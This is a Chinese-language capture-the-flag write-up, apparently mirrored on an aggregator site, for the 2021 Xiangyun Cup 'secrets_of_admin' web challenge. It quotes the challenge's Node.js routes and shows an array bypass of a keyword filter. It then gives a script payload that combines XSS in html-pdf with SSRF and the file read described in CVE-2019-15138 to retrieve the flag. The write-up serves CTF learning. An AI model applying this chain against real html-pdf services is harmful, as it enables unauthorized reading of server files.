7

2021祥云杯secrets_of_admin

 2 years ago
source link: https://suyumen.github.io/2021/10/12/2021-10-12-%5B2021%E7%A5%A5%E4%BA%91%E6%9D%AF%5Dsecrets_of_admin/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

2021祥云杯secrets_of_admin

Word count: 988 | Reading time: 5min

用的buu的环境。页面titleuesless,直接看附件,搜admin,在database.ts文件里发现admin的创建代码:

INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');

用这个登录成功了:

看一下这个框框的逻辑:

router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}

post的东西先插入html再变成letter格式的pdf,过滤了<,>,/,script,on,可以xss注入。


includes()方法绕过

includes() 方法用来判断一个数组是否包含一个指定的值,如果是返回 true,否则false。

这里可以用数组进行绕过。“当其为数组时 include()
会失败”


还有一个路由,要求checksumstringusername不能是上传pdf时的superuser

router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});
router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});


http-pdf 任意文件读取漏洞

(CVE-2019-15138)

html-pdf is a Html to pdf converter in nodejs.

Affected versions of this package are vulnerable to Arbitrary File Read. The package fails to sanitize the HTML input, allowing attackers to exfiltrate server files by supplying malicious HTML code. XHR requests in the HTML code are executed by the server. Input with an XHR request such as will result in a PDF document with the contents of .request.open(“GET”,”file:///etc/passwd”)/etc/passwd

在package里可以看到:

"html-pdf": "^2.2.0"

使用了这个库,因此可以用XHR构造任意文件读取。


XMLHttpRequest接口

https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest

1.XMLHttpRequest():构造函数。

2.XMLHttpRequest.abort():

如果请求已被发出,则立刻中止请求。

3.XMLHttpRequest.open():

初始化一个请求。该方法只能在JavaScript代码中使用。

xhrReq.open(method, url, [async], [user], [password]);

4.XMLHttpRequest.setRequestHeader():

设置HTTP请求头部。

myReq.setRequestHeader(header, value);

发送请求。如果请求是异步的(默认),那么该方法将在请求发送后立即返回。

5.XMLHttpRequest.send():

XMLHttpRequest.send([body])

body

可以为Document, 在这种情况下,它在发送之前被序列化。

可以为XMLHttpRequestBodyInit,Blob, BufferSource (en-US), FormData, URLSearchParams, 或者 USVString 对象。

默认为null


ssrfflag

payload:

post:
content[]=<script>
var xhr = new XMLHttpRequest();
xhr.open( "GET" , "http://127.0.0.1:8888/api/files?username=admin&checksum=aaa&filename=./flag");
xhr.send();
</script>

再访问文件位置下载得到flag

好难好难好难乌乌。。

1.数组绕过jsincludes过滤!

xss绕过:https://blog.csdn.net/weixin_50464560/article/details/119295255

2.ts开放在8888端口

1.战队wp

2.https://blog.csdn.net/rfrder/article/details/119914746

3.https://blog.csdn.net/qq_25500649/article/details/119997195


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK